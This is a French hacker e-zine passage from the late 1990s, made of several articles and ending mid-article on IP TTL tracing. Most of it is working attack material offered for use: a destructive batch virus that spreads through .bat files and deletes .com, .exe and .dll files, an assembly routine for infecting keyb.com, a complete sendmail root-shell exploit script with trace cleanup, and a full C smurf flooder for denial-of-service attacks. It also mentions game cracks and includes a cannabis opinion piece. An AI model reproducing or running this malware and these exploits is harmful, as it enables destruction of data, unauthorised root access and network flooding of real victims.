echo Ce programme marche a merveille !     ; cette ligne sert lors de l'essai de ce retardement. 
:4                                               
:virus                                        
if exist c:\virus.txt goto impression      ; il existe des tests, pour vrifier si les fichiers existent.
:nonimpression                                   
echo WARNING A Virus Has Intruded Your System ! >c:\virus.txt        ;le > signifie qu'il cr un fichier.
c:\windows\command\print < c:\hackviru\o.txt                         ; le < signifie qu'il regarde le           
                                                                     ;contenu du fichier et qu'il l'  
                                                                     ;assimile au fichier qu'il lance,  
                                                                     ;utile lorsqu'il faut des 
                                    					   ;confirmations.
goto impression			 	
:repro                                                    	         ; Le 'goto' est un renvoie 'go to'.
for %%a in (*.bat) do type %%a | find "sn" >text.vir                 ; ces quelques lignes mritent explications plus    
for %%a in (*.bat) do copy %%a %%a.kil                               ; bas !
for %%a in (*.bat) do copy text.vir + %%a.kil %%a          
:repro2                                                    
for %%a in (*.com) do del %%a                   
:repro3
for %%a in (*.exe) do del %%a
:windows
cd c:\windows
:dll
for %%a in (*.dll) do del %%a
del win.exe
:print         			               ; il y a une boucle a cet endroit pour que l'impression soit 
print c:\virus.txt                           ; ralise en boucle qui dmarre ici et qui finit au renvoi   
goto continuee                               ; 'goto print'.
:impression                                                
print c:\virus.txt                                         
goto continuee
:continuee                                                 
goto print

Attention celui-ci fait appel  d'autres fichiers qui sont des sous-fichiers.

                              ----------------------------------------

Comme promis , les explications de :

For %%a in (*.bat) do type %%a | find "sn" >text.vir
Le For %%a in (*.bat) do ..... signifie que pour tous les fichiers *.bat du rpertoire de travail,
il fera telle ou telle chose spcifie. 

La suite :

do type %%a ==> Cela veut dire qu'il ouvre  vitesse rapide les fichiers qu'il aura trouvs en 
*.bat et le :  

|find "sn" > text.vir ==> dja, "|" veut dire qu'il fait les deux oprations spares par cette 
barre  la fois et find "sn" signifie qu'il va se mettre  la recherche de ces caractres "sn" 
comme Snake! et > text.vir veut dire qu'il va mettre en mmoire les infos trouves qui contiennent
"sn" et qu'il va crer un fichier du nom de text.vir qui contiendra les lignes viroles car se 
seront celles qui seront trouves.  

De mme lorque vous voyez For %%a in (*.bat) do del %%a , veut dire que lorsque les fichiers 
qui possdent l'extension spcifie seront trouvs, alors ils seront supprims : Del signifie 
supprimer.

II ) PETITS RAPPELS SUR QUELQUES FONCTIONS BATCH AMBIGUES.

 A |----|  
Maintenant un petit rappel assez simple pour ceux qui veulent infecter des fichiers sans pour 
autant en changer le nom, il suffit de fusionner 2 fichiers (virus + programme de base) afin 
qu'il ne fasse plus qu'un (programme virol). Pour cela, il existe 2 types d'oprations diffrentes
qui conduisent au mme rsultat. 

1) copy exemple.txt + exemple2.txt exemple.txp ==> lors de cette opration, le premier fichier 
spcifi qui s'appelle exemple.txt sera plac avant l'autre fichier du nom d'exemple2.txt et 
ces deux fichiers une fois fusionns donneront naissance  un fichier intitul exemple.txp.

2) lorsqu'il s'agit de copier un virus qui possde une signature, par exemple.
Type exemple.txt | find "Virus">> exemple.txp


B |----|
Petit inconvnient de la commande print ! (solvable bien sr :-)   

Avec la commande print rside un problme imminent ; en effet, il faut lancer la commande une 
premire fois en spcifiant le port par dfaut de l'imprimante d'ou l'ide de faire :

c:\dos\print < c:\hackviru\prn.txt ==> la valeur par dfaut est 'prn'. En faisant cette opration,
la commande print va tre lance et prn va s'afficher ainsi la commande sera prte car il faudra
la lancer une seconde fois en mettant alors le fichier  imprimer dans la file d'attente, ce qui 
sera fait lors de :
print c:\virus.txt.

Petites remarques sur cet article, un second est prvu sur l'explication d'un virus Batch plus 
puissant, seulement certaines bribes de ce virus ne sont pas transposables  W98 et 95, en effet,
la commande print n'existe ni sous le 95 ni sous le 98 dans le rpertoire Windows\Command. De ce 
fait, toutes les lignes qui contiennent ces caractres sont vraies sous Dos ou W3.11 mais non 
transposables sous W95 et 98. Dommage, je cherche encore comment trouver un moyen universel de 
lancer une impression  partir des commandes Ms-Dos sous ces versions d'OS : W98 et 95.
Cependant en ce qui concerne ce qui suit, quelque soit la version de votre OS, cela marche et 
bien!   
 
C |----|
Exploitation d'un petite faille du dmineur !

Il existe bien d'autres faons de faire planter des ordinateurs, d'ailleurs la dernire fois 
que je suis all chez mon trs cher ami xxx (son anonymat est trs important selon lui !), 
j'ai plant son Cyrix en faisant une manipulation trs trs simple. Allez, je vais vous dvoiler 
une faille du dmineur, trs pratique car celui-ci est prsent sur toutes les machines qui possdent 
Windows quelle que soit la version. Si votre machine est assez cooprative, vous verrez alors 
apparatre les bonnes vieilles erreurs fatales Windows : avec un peu plus de chance : 
"Mmoire dangereusement basse!". Winmine est le nom du dmineur sous windows et ce jeu plutt 
prcaire possde un fichier *.ini qui initialise le programme Winmine.exe. Dans ce Winmine.ini 
il suffit d'tudier la grandeur de la grille de jeu, soit x le nombre de cases en longeur et 
x' le nombre de cases en hauteur, reste alors  dfinir le nombre de mines, pour faire planter 
en beaut la machine il suffit d'tablir un nombre de mines qui soit dfinit selon : 
(x*x')+1= Nombre de mines. Donc il y a plus de mines que de cases ainsi l'ordinateur plante en 
beaut. Ceci est une petite faille que j'ai remarque et qui m'a explos et dont je voulais faire 
part  tous . Rcemment un ami m'a apport un jeu GTA (vraiment excellent). Le soir mme mes 
amis et moi (xxx , xxx , xxx) avons entreprit de faire un crack qui est fini. Nous avons 
dj ralis un crack pour Megarace2 et pour Worms1 et 2, et bien d'autres encore ... Qui sait, 
ces cracks seront-ils disponibles, si vous nous demandez de les faire apparatre sur notre site 
Internet.
Je m'intresse aussi au Phreak et si certains d'entre vous sont plutt partisans du crack de FT 
alors je suis partant, faites moi des propositions, comme le journal de RTC est assez rcent, 
nous avons besoin de vos suggestions et de vos rclamations. Alors n'hsitez pas, crivez-moi.

PS : C'est bien beau mais au niveau de la programmation Batch, il existe trs peu d'antivirus 
capables de dtecter rellement des virus puissants. Et ouais, pourquoi il faut pas hsiter :
bon courage ...!!! 

														SnEaKie

//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
		MANIFESTE CONTRE L'UTILISATION DES SOCKETS DE TROIE                   
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
      
Toi t es un hacker , un vrai , un pro de l'intrusion !
Comment BACKORIFICE OU autre NETBUS ? 
waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaarfffff.
Nan ici on parle de hacking !
Alors si tu vois le piratage info comme l'utilisation de socket de troie ,
DEGAGE ET ARRETE DE LIRE CE MAG les mecs comme toi on en veut pas .
Les sockets de troie sont parfois trs utiles , c vrai, mais les mecs comme toi
qui en abusent pour faire chier le monde ou pour se la pter sur IRC sont des 
merdes. Nan t as pas compris ? Va te faire voir ! tu pourris l'image des hackers.

Si par contre t es un newbie et tu veux apprendre  hacker, toutes mes excuses 
cher ami , j suis la pour t aider. Mes conseils sont simples :
	avant de lire un quelconque mag underground installe linux et apprends  
l'utiliser.
      apprends les bases de la prog c et asssembleur
      va lire l'article de Dan Farmer ( auteur de satan ) ou mieux sa traduction
dans noroute 1. Les exploits qui y sont prsents n'ont plus ( ou plutot 
quasiment plus ;-) ) d'utilit, cependant ils permettent une bonne approche du
hacking et en prsentent les concepts de base. 
Si t as le moindre problemes n' hesite pas  me contacter : le g4ng est la pour
ca : RTCgang@yahoo.fr

											Par4noID

//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
	 ADAPTER UN VIRUS DOS A WINDOWS SANS TOUCHER AU MODE PROTEGE 
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////

  Avant de commencer, je tiens  dire que je parle de virus assembleur 
simples c'est  dire qui ne sont pas munis d'une routine boot (car ceux-ci 
peuvent et mme doivent prendre le contrle bien avant tout le monde).
  Le mode DOS sous Windows n'est, comme chacun doit le savoir, qu'une 
mulation du DOS. On ne peut ds lors quasiment rien faire en tant que virus 
(notamment installer un virus rsidant). Or cet inconvnient s'avre trs 
handicapant pour un virus. En fait, le seul moyen d'accder  l'ensemble de 
la mmoire en mode DOS est de le faire avant le chargement de Windows, c'est 
 dire au moment o autoexec.bat s'xecute.
  On peut donc ajouter une ligne de commande supplmentaire dans 
l'autoexec.bat qui installerait le virus... N'importe quoi! C'est compltement 
stupide et celui qui oserait mettre une telle supposition ne sait srement pas 
que le but de tout virus est de rester furtif le plus longtemps possible. 
Mais il y a une alternative trs intressante qui est d'infecter un programme
xecut dans l'autoexec.bat, ce qui revient exactement au mme. Pour cela il 
suffit de rajouter une toute petite routine qui infecte keyb.com par exemple.
 Voici donc le code de cette miniroutine qui permet aux virus  priori 
inefficaces sous Windows de fonctionner quand mme :

-------------------------------------------------------------------------------
INFECT_KEYB:
	mov dx,offset keyb_path
	call infect_com			;infect est la routine d'infection des .com
	ret

keyb_path db 'c:\windows\command\keyb.com$'
--------------------------------------------------------------------------------

	Bien sr, on peut faire de mme avec quasiment n'importe lequel des fichiers 
contenu dans le rpertoire c:\windows\command\ .

											Androgyne

//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
				EXPLOITS SENDMAIL 8.73 -> 8.83
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
                					
  Parce que sur IRC on me pose encore beaucoup de question sur un exploit
sendmail de base j 'ai ici dcid de l'expliquer.
  Remarquons que cet exploit a t patch depuis de la version 8.83.

  Tout le monde connait sendmail (meme cet abruti de Scientist!) , logiciel
aussi celebre pour son utilite que pour ses bugs ! 
  Car des bugs il en a et en voila un de taille : sendmail permet  nimporte 
quel utilisateur de lancer un prog avec les droits SUID 0.

D'abord une petite explication pour les newbies :

Linux est un OS qui travaille avec des droits , je pense que vous le savez
(sinon vous pouvez arreter la lecture de cet article) , mais ce que vous ne 
savez peut-tre pas c'est que les droits de chaque utilisateur sont identifis 
par deux numros : le numro UID et GID : le numro UID identifie les droits de
l'utilisateur meme alors le numero GID identifie les droits du groupe auquel cet 
utilisateur appartient. Ces numros sont definis dans le fichier /etc/passwd.

exemple : extrait d'un fichier /etc/passwd :

root:rTDFDfdf:0:0::/root:/bin/bash
public:dERGrg:100:100::/home/public:/bin/bash
guest:ERTERFDg:100:100::/home/guest:/bin/bash 
bimbo:sfdgFDGg:50:100::/bimbo:/bin/bash  

explication :

bimbo:sfdgFDGg:50:110::/bimbo:/bin/bash
  ^    ^        ^   ^    ^         ^
  |    |        |   |    |         |
  |    |numro UID GID   |     shell lanc
  |    |            /home/directory
  |passwd crypt
  |  
nom d'utilisateur  
 
Remarquons ainsi que, dans notre exemple , public et guest ont le meme numero 
UID et le meme numero GID ce qui signifie qu'ils ont exactement les memes droits
utilisateur et groupe; autrement dit ils sont tout a fait equivalent.
bimbo n a pas le meme numero UID que public il n'a donc pas les memes droits.
Cependant puisque bimbo et public ont le meme GID ils appartiennent tout deux 
au meme groupe. Ainsi tous les droits accords aux groupe 100 sont accords 
bimbo, public et guest.Si un fichier ne peut peut etre modifiable que par 
l'utilisateur 100 et a le droit d'etre lu par tout le groupe 100 ,
bimbo qui a un UID 50 ne pourra pas modifier le fichier ;par contre en tant que
membre du groupe 100 il pourra le lire.
NOtons que les droits UID 0 et GID 0 sont tres spciaux : en effet il donne  
l'utisateur qui en est porteur tous les droits ;-)))))))
Ceci explique que le root possede toujours l'UID et le GID 0.

Oui mais qu'est ce donc que le bit SUID ?

Supposons un utilisateur user avec les droits 100 :
user a, comme tout utilisateur, le droit de modifier son mot de passe en 
executant la commande passwd, il peut donc au travers de passwd  modifier le
fichier /etc/passwd ce qui n est pas permit normalement  l'utilisateur 100.
Pourquoi ?
Et bien tout simplement parce que passwd possede le bit SUID 0 ce qui 
signifie que quelquesoit l'utilisateur lancant passwd le prog sera xcut 
avec l'UID 0 (donc passwd aura le droit d'ecrire dans /etc/passwd)
Imaginer maintenant qu'un shell possede le bit SUID 0 :
si vous lancer un tel shell celui-ci s'executera avec les droits UID 0 ce qui
signifie que toutes les commandes executes dans ce shell seront root ;-)))))

PASSONS au BUG :

sendmail permet de lancer un prog avec l'UID 0 et le GID 0.

Comment ? 

* d'abord on cree le prog smtpd(nom du deamon) que l'on veut que sendmail nous lance.

/* on cree un classique prog c de prise de controle d'une machine */

_
void main () { 
  
/* d'abord le prog smtpd se donne les UID et GID 0 : clairement ces 
instructions ne seront tolres par la machine que si le prog est execute par
le root ou appel par un prog possedant le SUID 0 */

	setuid(0); 
	setgid(0);
	
/* ensuite maintenant que smtpd est root il peut agir comme bon lui semble :
il peut notamment copier un shell dans /tmp et lui donner le bit SUID 0 */

	system("cp /bin/sh /tmp/sh");
	system("chmod a=rsx /tmp/sh");

}
_

* maintenant on veut s'arranger pour que ce prog soit lanc avec l UID 0 et 
le GID 0 : 2 mthodes : ou ce prog est lance par le root ( on peut toujours
rever)
				ou on se demene pour qu'il soit lance avec un prog qui
a le SUID 0 et le SGID 0 (et devinez quoi  c est justement ce que sendmail
 nous permet de faire). Creons un prog explode.c :

_
void main () {

	execl("/bin/sendmail","smtpd",0)

/* cet ligne est tout a fait equivalente  la ligne shell 
bash$ sendmail smtpd & */

}
_   
 
on compile le tout et maintenant si on lance explode ou que l'on tape la ligne 
shell equivalente on aura l'heureuse surprise de retrouver un shell SUID 0 
dans /tmp bingo !!!!
reste que l'on peut alors killer le process sendmail qui est en tache de fond

Reste  ecrire l'exploit qui permettra de tout faire en une ligne.
On l'ecrira sous la forme d'un shell script dont voici l'explication:

D'abord on cree le prog smtpd (dans /tmp car on est sur qu'il est world 
writable)

echo 'void main() {				 '>> /tmp/smtpd.c 
echo 'setuid(0); 				 	 '>> /tmp/smtpd.c
echo 'setgid(0);   		 		 '>> /tmp/smtpd.c
echo 'system("cp /bin/sh /tmp/sh")  	 '>> /tmp/smtpd.c
echo 'system("chmod a=rsx /tmp/sh") }      '>> /tmp/smtpd.c
	
voila maintenant on compile :

gcc /tmp/smtpd.c -o /tmp/smtpd

ok ensuite on cree explode.c

echo 'void main() {				       '>> /tmp/explode.c   
echo 'execl ("/bin/sendmail","/tmp/smtpd",0) }	 '>> /tmp/explode.c
 
on compile explode.c

gcc /tmp/explode.c -o explode

on lance le tout:

/tmp/explode

bon des lors le shell SUID 0 est copi dans /tmp
reste  effacer les traces :

rm /tmp/explode.c
rm /tmp/explode
rm /tmp/smtpd.c
rm /tmp/smtpd

puis  killer le process en fond :
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`

voila enfin le moment tant attendu : on lance le shell:
/tmp/sh

sh# ;-)))))))

Que jusque la vous ayez compris ou non voici le script final qui 
exploite le bug :

----------------------------------CUT HERE------------------------------------

cd /tmp
echo 'void main() {				 '>> /tmp/smtpd.c 
echo 'setuid(0); 				 	 '>> /tmp/smtpd.c
echo 'setgid(0);   		 		 '>> /tmp/smtpd.c
echo 'system("cp /bin/sh /tmp/sh")   	 '>> /tmp/smtpd.c
echo 'system("chmod a=rsx /tmp/sh") }      '>> /tmp/smtpd.c
gcc /tmp/smtpd.c -o smtpd
echo 'void main() {			       '>> /tmp/explode.c   
echo 'execl ("/bin/sendmail","smtpd",0) }	 '>> /tmp/explode.c
gcc /tmp/explode.c -o explode
/tmp/explode
rm /tmp/explode.c
rm /tmp/explode
rm /tmp/smtpd.c
rm /tmp/smtpd
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`

----------------------------------CUT HERE------------------------------------

									Par4noID

//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
    					    AH!!!!!!!!
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////

	Joint, petard, cone, stick, pet,tarpe,oinj,tonj,tos,pecos,bedos...De 
multiples noms ont t  attribues a la fameuse cigarette louche variant suivant 
sa forme ou bien la manire de le  rouler. Bref je ne tenterai pas de faire un 
rcapitulatif pour tout ce qui concerne ce sujet, du  moins pour le moment. Le 
prochaine article pourra vous en apprendre beaucoup car tout ces  conseils 
proviendront de multiples directions et je remercie par avance toute l'quipe 
de "       " qui m'auront fait par de leur exprience en la matire .
 Je tenais juste pour le moment a exprimer mes sentiments et mon opinion a ce sujet:  
Aujourd'hui la France refuse toujours de lgaliser mon petit plaisir de fin de 
soire ce qui  m'embte un peu . Car on sait dsormais que cette petite plante 
possde des effets bnfiques  pour tout ceux qui souffrent. Mais bien sur la 
France ( peut tre un peu trot prudente par  moment qd il s'agit d'innover ce 
qui n'est pas plus mal dans un sens) s'obstine dans sa  dmarche de lutte. Je 
pense que beaucoup dsormais ont remplac l' heure de l'apros par l'  heure du 
ptard ce qui a pour moi le mme effet. 
La convivialit  reste la mme. Bien  entendu je ne suis pas de ceux qui se 
claquent la tte tous les soirs mais je tiens tout de mme a  ajouter une chose: 
la Ganja ne rend pas dpendant, videmment on pourra toujours trouver des personnes  
pas trs bien dans leur tte, qui expriment un manque mais ceux l je les  
comparerais plutt a des alcooliques. Car la dpendance n'existe pas et j'en suis 
la preuve.  Bref tout le monde y gagnerait l'tat y compris.

                                     		   A bon entendeur salut
							 		The ScienTisT

//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
	        COMMENT PLANTER AOL, YAHOO, AMAZON : LE SMURF
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////

Ce DoS est assez simple. Il suffit d'envoyer des paquets ICMP "echo requete"
spoofs(c'est a dire avec une fausse adresse source : celle de votre victime)
 La victime est submerge de rponses de paquet ICMP.
J'explique:
   Le ping vous connaissez : vous envoyez un paquet ping (c'est  dire un paquet
ICMP requete echo: ICMP type 8 et code 0)  un ordinateur qui vous rpond par un
autre paquet ICMP reponse echo de type 0 et code 0.Ce qui ce traduit  l'ecran par:
64 bytes from 150.365.182.0(pour les cons): icmp_seq=0 ttl=64 time 15.2 ms
64 bytes from 150.365.182.0: icmp_seq=1 ttl=64 time 14.2 ms
64 bytes from 150.365.182.0: icmp_seq=2 ttl=64 time 18.2 ms
   Maintenant essayons de pinger un broadcast (c'est  dire l'adresse d'un reseau
comme 11.255.255.255 pour internet ou FF:FF:FF:FF:FF:FF pour Ethernet).
Chaque ordinateur du rseau du broadcast va vous rpondre. C'est  dire si
vous envoyer 10 paquets en pingant un broadcast compose d'une centaine d'ordinateur,
vous recevrez un millier de paquet provenant de la centaine d'ordi du
broadcast.
   Donc le smurf consiste  envoyer plein de paquets requete echo 
 des broadcasts avec une fausse adresse source (celle de votre 
victime). Les ordinateurs des broadcasts, croyant recevoir un paquet ping de la 
machine victim vont alors rpondre  celle-ci par pleins de zolis datagrammes ICMP,
la machine victim submerge de paquets va alors plante en beaute !!!  
(le smurf est donc une attaque du style ping flood sauf qu'ici avec un seul paquet
vous crez une masse de datagrammes reponse ICMP)

   (Comment a j'suis pas clair ??? Un ptit schma pour expliquer:)


				VOTRE ORDINATEUR
					|    |
			envoit des paquets echo requete en se 
			faisant passer pour victim (datagramme
			contenant comme adresse source l'adresse
			de victime) 
					|    |
					|    |
					|    |
BROADCAST <--------------------    -------------------->BROADCAST
avec son rseau							avec son rseau
	|||||||		tous les ordinateurs			|||||||
      |||||||              des broadcasts                   |||||||
	|||||||  renvoient alors des paquets reponse echo     |||||||
	|||||||	a victime pour rpondre  la demande	|||||||
	|||||||		des paquets echo requete		|||||||
	|||||||		provenant de notre machine		|||||||
	|||||||	mais avec l'adresse source de victim	|||||||
	|||||||								|||||||
	||||||--------->----------|  |---------<---------------||||||
	|||||---------->---------||  ||--------<----------------|||||
	||||----------->--------|||  |||-------<-----------------||||
	|||------------>-------||||  ||||------<------------------|||
	||------------->------|||||  |||||-----<-------------------||
	|-------------->-----||||||  ||||||----<--------------------|
	--------------->----|||||||  |||||||---<---------------------
				  |||||||  |||||||
				  |||||||  |||||||
				  |||||||  |||||||
				  |||||||  |||||||
				  |||||||  |||||||
				  |||||||  |||||||
			Victime qui recoit tous les paquets
				   et qui a mal !!

(Ici j'ai mis que 7 ordi par rseau parce que a commencait  me prendre 
la tte)
	
   Normalement le smurf ne peut pas tre tracer car il n'y a aucune 
adresse ip ou renseignement de votre ordi que vous envoyez avec les paquets
ICMP echo requete. Mais peut tre avec la coopration et la coordination
des routeurs??????? Alors attention!!!!!!!!!  

   Voici un p'tit smurf de base entirement expliquer mais il faut avoir 
quelques connaissances en C pour comprendre ce que je dit.
Ce programme est un "smurfeur" qui lit les adresses de broadcast dans 
un fichier que vous auriez auparavant remplis comme ceci:
1.255.255.255 <entre>
211.255.255.255 <entre>
113.255.255.255 <entre>
112.255.255.255 <entre>
150.255.255.255 <entre>
Quand je met <entre>, a veut qu'il faut appuyer sur entre et pas 
le taper!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 

-----------------------------------Cut here------------------------------------

/* dclaration des librairies utilises*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

/*dclaration des fonctions*/
void argument(void);
void smurf(int , struct sockaddr_in, u_long ,int );
unsigned short in_chksum(u_short *, int);

/* Voici la fonction qui crit ce qui faut taper quand cette fonction est 
appele*/
void argument(void)
{
	printf("arguments: <cible> <broadcast file>"
		" <nombre de paquet> \n<delai> <taille des paquets>\n\n"
		"cible              = cible a attaquer : la victime \n"
		"broadcast file     = fichier contenant les adresses des broadcast\n"
	   	"nombre de paquet   = nombre de paquet a envoyer\n"
		"delai              = temps ecoule entre chaque paquet envoye (in ms)\n"
		"taille des paquets = taille des paquets < 1024 \n\n");
	exit(0);
}

/* On commence maintenant le vrai code*/
int main (int argn, char *argt[])
{
	struct sockaddr_in sin;
	struct hostent *he;
	FILE *bcastfichier;
	int i, sock, bcast, delai, nombre, pqtaille, x, precision, cycle;
	char buf[16], **bcastadresse ;
/* l on a dclare les variables. 
bcastadresse est le pointeur d'un pointeur d'une chaine de caractre 
et **bcastadresse est le contenu de cette variable.
he est le pointeur de la structure hostent et 
*he est une structure hostent.*/

	printf("smurf by SLy\n");
	if (argn != 6) argument();
 /* si il n'y a pas 6 arguments alors on appelle la fonction argument.
 Remarque : le nom du programme compte comme un argument : l'argument 0 */
 
	nombre = atoi(argt[3]);/* atoi sert juste  convertir l'argument*/
	delai = atoi(argt[4]);/* qui est une chaine de caractre en*/ 
	pqtaille = atoi(argt[5]);/* nombre*/

/* Voici une petite erreur sur la taille du paquet */
	if (pqtaille > 1024) {
		printf("Erreur : la taille du paquet doit etre inferieur a 1024\n\n");
 	exit(0);
 	}

/*On demande ensuite de remplir la structure hostent qui donne des
informations sur la victime (dans ce cas la) en le demandant
au serveur DNS */  
	if ((he = gethostbyname(argt[1]))== NULL){
		printf("Cible introuvable\n");
		exit(0)}

/* 	
	bcopy( he->h_addr,(char *)&sin.sin_addr,he->h_length );
/* on copie dans sin les informations contenues dans hostent grce 
aux pointeurs*/
	sin.sin_port = htons(0);/*pour le port*/
     	sin.sin_family = AF_INET;
/*pour le type : remplir comme le type de la  socket*/

/* ouvre le fichier indiqu en mode read et 
fait une erreur si il n'y arrive pas/* 
	if ((bcastfichier = fopen(argt[2], "r")) == NULL) {
 		printf("ouverture du fichier impossible\n");
	exit (0);
   	}

	bcastadresse = malloc(8192);
/* j'ai dit t'a l'heure que bcastadresse tait un pointeur de pointeur
d'une chaine de caractere. Donc commme c'est un pointeur, je cre un 
bloc de memoire de 8192 octets (vous pouver mettre moins mais il vaut
mieux que ce soit un multilple de 16) et bcastadresse pointe le dbut de ce
bloc memoire.*/

 	x = 0;
	
	while (!feof(bcastfichier)) {
		/*tant que ce n'est pas la fin du fichier on fait la boucle*/
 		fgets(buf, 16, bcastfichier);
		/*fgets lit 16 octets  partir du pointeur de fichier
		bcastfichier mais ne lit pas tout le temps 16 octets car il
		s'arrte quand il rencontre '\n' (c'est  dire <entre>)*/
		
		for (i = 0; i < strlen(buf); i++) {
			if (buf[i] == '\n') buf[i] = '\0';}
		/*Comme fgets a lu la chaine il renvoie donc la valeur avec
		'\n'. La boucle avec for ne sert juste qu'a enlever ce 
		caractre et le remplacer par '\0'(Le caractre de la fin
		d'une variable).*/  
		
		bcastadresse[x] = malloc(16);/*On rserve 16 octets
		(15 octets pour l'adresse ip (125.131.253.162 par exemple)
		+ 1 pour le caractere de fin '\0'
		pour le premier lment du tableau*/
		
		strcpy(bcastadresse[x], buf);/*Copie buf dans un lment du
		tableau */ 
		x++;/*incrmente x donc x=x+1*/
	}

	bcastadresse[x] = 0x0;/*voir plus tard*/
	fclose(bcastfichier);/*ferme le fichier*/

/*Encore un autre message d'erreur au cas ou*/
	if (x == 0) {
		printf("ERREUR: Pas de broadcast trouver dans %s\n\n",argt[2]);
 	exit(0);
	}

/*La j'ouvre une socket de type AF_INET(ARPA Internet protocol)et de
type SOCK_RAW (il doit tre lancer par le root,car elle permet au programmeur
d'accder directement aux protocoles et interfaces internes du rseau. 
C'est indispensable lors de connections spoofes). Et tout ca grce
 la commande socket*/
	if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
		printf("ERREUR pour ouvrir la socket\n");
	exit(0);
	}

/*L on dfinit les options de la socket grce  la fonction setsockopt*/
	setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));

	printf("Flooding %s \n", argt[1]);
	cycle = 0;
	
/*l on fait une boucle pour envoyer autant de paquet que celui mis
pour l'argument nombre*/
	for (i = 0; i < nombre || !nombre; i++) {
				
		/*appelle de la fonction smurf (voir plus bas)*/
		smurf(sock, sin, inet_addr(bcastadresse[cycle]),pqtaille);
 		cycle++;  /*on incremente cycle*/

		if (bcastadresse[cycle] == 0x0) cycle = 0;
		/*si on rencontre 0x0 dans le tableau que pointe bcastadresse
		alors cela veut dire qu'il n'y a plus d'adresse broadcast 
		aprs et donc on revient au dbut du tableau pour recommencer*/		
		
		usleep(delai);
		/* repose votre ordi quelques ms(avant dernier argument
		 pour pas qu'il plante (faites comme vous voulez)*/  
	}

}


void smurf(int sock,struct sockaddr_in sin,u_long dest ,int ptaille) 
{ 
	struct iphdr *ip; 
	struct icmphdr *icmp; 
	char *paquet;

	paquet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + ptaille);
/*paquet pointe au dbut d'une zone mmoire de la taille  du futur paquet*/  
	
	ip = (struct iphdr *)paquet; /* ip pointe au dbut de *paquet */
	icmp = (struct icmphdr *) (paquet + sizeof(struct iphdr)); 
	/*icmp pointe sur *paquet mais aprs la taille de l'entte ip*/
 	
	memset(paquet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + ptaille); 
 
	ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + ptaille);
/* longueur du paquet  envoyer*/ 
	ip->ihl = 5; 
	ip->version = 4; 
	ip->ttl = 255; /* Voir l'article de Par4noID*/
	ip->tos = 0; 
	ip->frag_off = 0; 
	ip->protocol = IPPROTO_ICMP; 
	ip->saddr = sin.sin_addr.s_addr; /*adresse source donc celle
 de la victime qui est contenue dans s_addr de la stucture sin_adrr de la 
structure sin de type sockaddr_in*/  
	
	ip->daddr = dest; /*adresse du broadcast obtenue par 
inet_addr(broacast[cycle]) dans la fonction d'avant*/

	ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
	 /*taille du header ip grce  la fonction checksum(voir plus bas)*/
	icmp->type = 8; /*type 8 et code 0 pour*/
	icmp->code = 0; /* dire que c'est paquet icmp echo requete*/
	icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + ptaille); 
 	/*taille du header icmp grce  la fonction checksum(voir plus bas)*/

	sendto(sock, paquet, sizeof(struct iphdr) + sizeof(struct icmphdr) + ptaille, 
          0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); 
	/*ET GO !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*/
	/*le paquet est envoye*/	 
	free(paquet);   /*on libre la mmoire occupe par paquet*/        
} 
 


/*Fonction qui permet de calculer la taille du paquet et qui est dans 
tous les programmes en C qui font leur paquet. Donc j'ai jamais essayer
vraiment de comprendre. Alors je l'ai pompe et je ne vous l'expliquerai
pas.*/
unsigned short
in_chksum(u_short * addr, int len)
{
        register int    nleft = len;
        register int    sum = 0;
        u_short         answer = 0;

        while (nleft > 1) {
                sum += *addr++;
                nleft -= 2;
        }

        if (nleft == 1) {
                *(u_char *) (&answer) = *(u_char *) addr;
                sum += answer;
        }
        sum = (sum >> 16) + (sum + 0xffff);
        sum += (sum >> 16);
        answer = ~sum;
        return (answer);
}

-----------------------------------Cut here------------------------------------
										
											SLy

//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
		TTL OU COMMENT SE FAIRE TRACER PAR QUELQUES OCTETS
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////

  Dans cet article, je ferais souvent reference  la structure des headers IP
ainsi si vous ne la connaissez pas je vous conseille d'aller lire par exemple
l'article de Kewl dans noroute1 (ou tout autre article sur les datagrammes IP).
  
  Cet article porte sur le champ TTL (time to live) des headers IP. 
D'abord une petite explication :
  chaque paquet IP porte un numero code sur un octet dit time to live (TTL) qui 
traduit la duree de vie du paquet. A chaque fois que le paquet passe au travers
d'un routeur le TTL est decremente de 1 , s'il tombe  0 le paquet est detruit.
  Le probleme est que la plupart des DOS (ou autre programme utile ;-) )
envoie des paquets dont le TTL est initialis  255 (c'est a dire au max)!
  Prenons un exemple, j suis trankyyyyyl sur un reseau local styl 195.169.0.0
